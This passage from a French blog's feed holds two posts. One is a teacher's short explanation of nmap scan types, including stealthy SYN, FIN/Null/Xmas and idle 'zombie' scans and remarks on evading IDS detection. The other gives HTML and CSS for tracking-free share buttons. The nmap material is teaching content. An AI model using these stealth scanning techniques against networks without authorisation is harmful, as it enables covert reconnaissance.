&lt;/div&gt;</content></entry><entry><title>nmap en deux mots</title><link href="http://blog.namok.be/2013-11-13-5slides-nmap.html" rel="alternate"/><published>2013-11-13T00:00:00+01:00</published><updated>2013-11-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-13:/2013-11-13-5slides-nmap.html</id><summary type="html">ou nmap dans la série 5 slides</summary><content type="html">&lt;p&gt;Souvent il est nécessaire (dans le cadre professionnel ou scolaire) de présenter un outil, un concept, le résultat d&amp;rsquo;une recherche… brièvement, « en deux mots ».&lt;/p&gt;
&lt;p&gt;Si la présentation doit se faire devant plusieurs personnes, il n&amp;rsquo;est pas ridicule de se munir de 3,4 slides contenant &lt;strong&gt;l&amp;rsquo;essentiel&lt;/strong&gt; (&lt;em&gt;to the point&lt;/em&gt;) de ce que l&amp;rsquo;on veut dire.&lt;/p&gt;
&lt;p&gt;&lt;img alt="flickr-colorfull-doors.jpg" src="images/flickr-colorfull-doors.jpg" title="flickr-colorfull-doors.jpg, oct. 2013" width:100_="width:100%"&gt;&lt;/p&gt;
&lt;p&gt;Ces slides ne contiennent que les idées que l&amp;rsquo;on veut présenter et sont un &lt;strong&gt;support&lt;/strong&gt; à la présentation orale. Personnellement, j&amp;rsquo;aime les agrémenter de l&amp;rsquo;une ou l&amp;rsquo;autre image qui vont marquer l&amp;rsquo;esprit &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;… ce que l&amp;rsquo;on n&amp;rsquo;a pas toujours le temps de faire… mais comme mes slides sont destinés à être réutilisés… je prend ce temps.&lt;/p&gt;
&lt;p&gt;Comme &lt;em&gt;proof of concept&lt;/em&gt;, voici les slides préparés avant de dire rapidement à mes étudiants ce qu&amp;rsquo;est &lt;strong&gt;nmap&lt;/strong&gt;.&lt;/p&gt;
&lt;iframe src="https://www.slideshare.net/slideshow/embed_code/key/LXaOGTPoBRPKQ6?startSlide=1" width="597" height="486" frameborder="0"   marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px;   margin-bottom:5px;max-width: 100%;" allowfullscreen&gt;&lt;/iframe&gt;
&lt;div style="margin-bottom:5px"&gt;&lt;strong&gt;&lt;a href="https://www.slideshare.net/slideshow/nmap-in-5-slides/26967038" title="nmap in 5 slides" target="_blank"&gt;nmap in 5 slides&lt;/a&gt;&lt;/strong&gt; from &lt;strong&gt;&lt;a href="https://fr.slideshare.net/PierreBETTENS" target="_blank"&gt;Pierre BT&lt;/a&gt;&lt;/strong&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://www.slideshare.net/slideshow/nmap-in-5-slides/26967038"&gt;Lien vers slideshare&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rappel: l&amp;rsquo;idée n&amp;rsquo;est pas de donner un cours sur nmap ni même de présenter le soft dans le détail … simplement de dire ce que c&amp;rsquo;est et quel est l&amp;rsquo;usage de base … le reste sera éventuellement dit oralement … ou plus tard.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Commentaires&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;slide 2&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quel est l&amp;rsquo;usage de nmap ?&lt;/li&gt;
&lt;li&gt;À quoi sert le programme ?&lt;/li&gt;
&lt;li&gt;Pourquoi fait-on un &lt;em&gt;scan de ports&lt;/em&gt; ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;slide 3&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Comment faire un scan basique (faites-le) et quels sont les résultats obtenus ?&lt;/li&gt;
&lt;li&gt;Pourquoi voudrait-on ajuster le temps entre l&amp;rsquo;envoi des différents paquets ?&lt;/li&gt;
&lt;li&gt;Pourquoi la machine déciderait de ne pas répondre ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;slide 4&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quel type de paquets j&amp;rsquo;envoie ?&lt;/li&gt;
&lt;li&gt;Pourquoi est-ce que je risque de me faire détecter par un IDS ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;slide 5&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il existe différents types de scan … en fonction du protocole utilisé.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sT&lt;/code&gt;, utilise un scan &lt;em&gt;TCP connect&lt;/em&gt; par le biais d&amp;rsquo;un appel de faut niveau à &lt;code&gt;connect()&lt;/code&gt; Ce scan est plus complet car il y a tentative de la part de nmap de compléter la connexion. C&amp;rsquo;est plus long et c&amp;rsquo;est loggué … donc (probablement) détecté par l&amp;rsquo;administrateur réseau.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On lui préfère un &lt;em&gt;scan SYN&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sS&lt;/code&gt;, utilise un scan &lt;em&gt;TCP SYN&lt;/em&gt;. Envoi d&amp;rsquo;un SYN et attente d&amp;rsquo;un SYN/ACK, port ouvert, d&amp;rsquo;un RESET, port fermé ou atteinte du &lt;em&gt;timeout&lt;/em&gt; si le port est filtré.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est le scan par défaut car il fonctionne pour n&amp;rsquo;importe quel hôte (respectant TCP). Comme il ne termine pas les connexions TCP, il est rapide et discret.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sU&lt;/code&gt; permet un scan UDP plutôt que TCP. Il peut être combiné à un scan TCP. Le scan UDP est plus lent mais permet de détecter des services tels que: DNS, SNMP ou DHCP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sN sF sX&lt;/code&gt;, utilisent un scan TCP en positionnant les flags FIN, PSH et URG de manière différente; aucun pour &lt;code&gt;sN&lt;/code&gt;, le flag FIN pour &lt;code&gt;sF&lt;/code&gt; et les trois pour &lt;code&gt;sX&lt;/code&gt;. Ces scans (sont) étaient plus furtifs que &lt;code&gt;sS&lt;/code&gt; mais ils sont cependant détectés par les IDS récents. De plus, ils ne fonctionnent que pour les systèmes respectant la RFC, ce qui n&amp;rsquo;est pas le cas de Microsoft Windows et de certains équipements Cisco.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sA&lt;/code&gt;, scan TCP ACK est utilisé pour tester le firewall, il ne dira pas si le port est ouvert ou fermé, seulement s&amp;rsquo;il est filtré.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sI &amp;lt;zombie host&amp;gt;&lt;/code&gt;, technique avancée décrite sur le &lt;a href="http://nmap.org/book/idlescan.html"&gt;site de nmap&lt;/a&gt; permettant un scan furtif dont les paquets semblent envoyés de l&amp;rsquo;hôte relais.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voilà, on sait maintenant ce que c&amp;rsquo;est &lt;em&gt;nmap&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sans être un expert, on a tout pour démarrer…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/http.//nmap.org"&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nmap, &lt;a href="http://nmap.org/book/idlescan.html"&gt;Idle scan&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://fr.slideshare.net/PierreBETTENS/nmap-in-5-slides"&gt;nmap in 5 slides&lt;/a&gt; chez Slideshare&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/public/documents/5slides/in5slides-nmap.pdf" title="in5slides-nmap.pdf"&gt;in5slides-nmap.pdf&lt;/a&gt; (889.93 KB)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je pense avoir une mémoire visuelle et si j&amp;rsquo;entends plusieurs résumés / présentation / … je retiendrai plus facilement « celle avec les girafes » !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Add by hands ou offrir le partage à la main</title><link href="http://blog.namok.be/2013-11-10-add-by-hands.html" rel="alternate"/><published>2013-11-10T00:00:00+01:00</published><updated>2013-11-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-10:/2013-11-10-add-by-hands.html</id><summary type="html">Une méthode pour ajouter des boutons de partages sans plugin (pourri)</summary><content type="html">&lt;p&gt;Lorsque l&amp;rsquo;on écrit un article, &lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;on aime bien qu&amp;rsquo;il soit partagé&lt;/a&gt;. C&amp;rsquo;est donc mieux de proposer un lien en fin d&amp;rsquo;article pour permettre facilement ce partage.&lt;/p&gt;
&lt;p&gt;&lt;img alt="a_gift_for_you_by_Schokolein.jpg" src="https://blog.namok.be/public/images/divers/2013/a_gift_for_you_by_Schokolein.jpg" title="a_gift_for_you_by_Schokolein.jpg, nov. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Depuis peu, &lt;a href="http://open-time.net/post/2013/11/05/Plugin-AddToAny-01-pour-Dotclear"&gt;Franck propose un plugin&lt;/a&gt; permettant de partager via plein de réseaux sociaux en utilisant &lt;a href="http://www.addtoany.com/"&gt;AddToAny&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour ma part, j&amp;rsquo;utilisais les services de &lt;a href="http://addthis.com/"&gt;AddThis&lt;/a&gt; jusqu&amp;rsquo;à il y a peu. C&amp;rsquo;était configurable et… vénérable vu son âge. AddThis me permettait également d&amp;rsquo;avoir un retour sur les liens qui étaient partagés, une sorte de rapport mensuel &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Comme c&amp;rsquo;est la mode aujourd&amp;rsquo;hui de se débarrasser un peu des services tiers lorsque c&amp;rsquo;est possible, je me propose de faire comme &lt;a href="http://korben.info/bouton-partage-twitter-facebook-sans-tracking.html"&gt;Korben&lt;/a&gt; et &lt;a href="https://github.com/Ohax/Boutons-sociaux-sans-tracking"&gt;Ohax&lt;/a&gt; afin d&amp;rsquo;ajouter des boutons de partage sans tracking – comprendre sans utiliser un service tiers.&lt;/p&gt;
&lt;p&gt;Pour ce faire, il faut simplement savoir que les différents réseaux sociaux ont une API de type REST, c&amp;rsquo;est-à-dire permettant de donner des valeurs au serveur par le biais de l&amp;rsquo;URL. On pourra, donc partager un lien sur Twitter (pour peu que l&amp;rsquo;on soit connecté) par le biais d&amp;rsquo;une URL de la forme&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;href=&amp;quot;https://twitter.com/share?url=URL&amp;amp;text=TEXT&amp;amp;via=VIA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;où &lt;code&gt;URL&lt;/code&gt; est l&amp;rsquo;url a partager, &lt;code&gt;TEXT&lt;/code&gt;, les 140 caractères du tweet et &lt;code&gt;VIA&lt;/code&gt; l&amp;rsquo;utilisateur qui sera prévenu du tweet.&lt;/p&gt;
&lt;p&gt;En ajoutant une couche de CSS pour que ce soit joli, on obtient ça chez moi.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-blog-1.png" src="images/screenshot-blog-1.png" title="screenshot-blog-1.png, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Je décide de ne partager que sur Twitter, G+, Facebook… et Flattr … et j&amp;rsquo;en profite pour mettre le lien du &lt;a href="http://plugins.dotaddict.org/dc2/details/odt"&gt;plugin Export ODT&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Technique&lt;/h3&gt;
&lt;p&gt;Dans mon thème, j&amp;rsquo;ajoute une page &lt;code&gt;_social.html&lt;/code&gt; qui contient tous les liens que je désire. J&amp;rsquo;ajouterai cette page aux endroits où je veux voir apparaitre les liens de partage. Par exemple en ajoutant &lt;code&gt;tpl:include src="_social.html"&lt;/code&gt; à l&amp;rsquo;endroit qui va bien de la page &lt;code&gt;post.hlml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Si vous voulez intégrer ailleurs que dans Dotclear, remplacez toutes les occurrences de &lt;code&gt;tpl:Foo&lt;/code&gt; par les liens qui vont bien.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;social&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\_blank&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Twitter&amp;quot;&lt;/span&gt; 
        &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eleganticon social\_twitter&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://twitter.com/share?url={{tpl:EntryURL}}&amp;amp;text={{tpl:EntryTitle}}&amp;amp;via=YOU&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nofollow&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;onclick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;javascript:window.open(this.href, &amp;#39;&amp;#39;,                   &amp;#39;menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=400,width=700&amp;#39;);return false;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\_blank&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Facebook&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eleganticon social\_facebook&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://www.facebook.com/sharer.php?u={{tpl:EntryURL}}&amp;amp;t={{tpl:EntryTitle}}&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nofollow&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;onclick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;javascript:window.open(this.href, &amp;#39;&amp;#39;, &amp;#39;menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=500,width=700&amp;#39;);return false;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\_blank&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Google +&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eleganticon social\_googleplus&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://plus.google.com/share?url={{tpl:EntryURL}}&amp;amp;hl=fr&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nofollow&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;onclick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;javascript:window.open(this.href, &amp;#39;&amp;#39;,  &amp;#39;menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=450,width=650&amp;#39;);return false;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\_blank&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Flattr !&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eleganticon icon\_gift\_alt&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://flattr.com/submit/auto?user\_id=Pinkilla&amp;amp;url={{tpl:EntryURL}}&amp;amp;title={{tpl:EntryTitle}}&amp;amp;description={{tpl:EntryTitle}}&amp;amp;language=fr\_FR&amp;amp;tags=blog&amp;amp;category=text&amp;quot;&lt;/span&gt; 
            &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nofollow&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;onclick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;javascript:window.open(this.href, &amp;#39;&amp;#39;,   &amp;#39;menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=450,width=650&amp;#39;);return false;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Get ODT version&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eleganticon icon\_document&amp;quot;&lt;/span&gt;
            &lt;span class="na"&gt;href &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{{tpl:BlogURL}}odt/post/{{tpl:EntryBasename}}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;            
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Au niveau du style, je profite d&amp;rsquo;un &lt;a href="http://www.elegantthemes.com/blog/resources/elegant-icon-font#comment-100471"&gt;lien&lt;/a&gt; de &lt;a href="http://www.kozlika.org/kozeries/"&gt;Kozlika&lt;/a&gt; proposant d&amp;rsquo;utiliser une police particulière pour ajouter des icônes à son site, ça s&amp;rsquo;appelle &lt;em&gt;icon font&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Le principe consiste à utiliser une police de caractères qui ne représente pas l&amp;rsquo;alphabet mais des icônes et d&amp;rsquo;afficher un caractère donné dans cette police particulière. L&amp;rsquo;avantage de cette approche, c&amp;rsquo;est que les caractères ne sont pas sensibles à la taille et sont « beaux » quelle que soit la taille utilisée.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.elegantthemes.com/blog/resources/elegant-icon-font#comment-100471"&gt;Tout est expliqué chez Elegantthemes&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="elegantfont-thumb.jpg" src="https://blog.namok.be/public/images/divers/2013/sharehands/.elegantfont-thumb_m.jpg" title="elegantfont-thumb.jpg, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ajoute donc à ma feuille de style&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;font-face&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;font-family&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ElegantIcons&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;url&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fonts/ElegantIcons.eot&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;url&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fonts/ElegantIcons.eot?#iefix&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;embedded-opentype&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;url&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fonts/ElegantIcons.woff&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;woff&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;url&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fonts/ElegantIcons.ttf&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;truetype&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;url&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fonts/ElegantIcons.svg#ElegantIcons&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;svg&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;font-weight&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;normal&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;font-style&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;normal&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;eleganticon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ElegantIcons&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;speak&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;font-style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;font-weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;font-variant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;text-transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;line-height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kp"&gt;-webkit-&lt;/span&gt;&lt;span class="n"&gt;font-smoothing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;antialiased&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
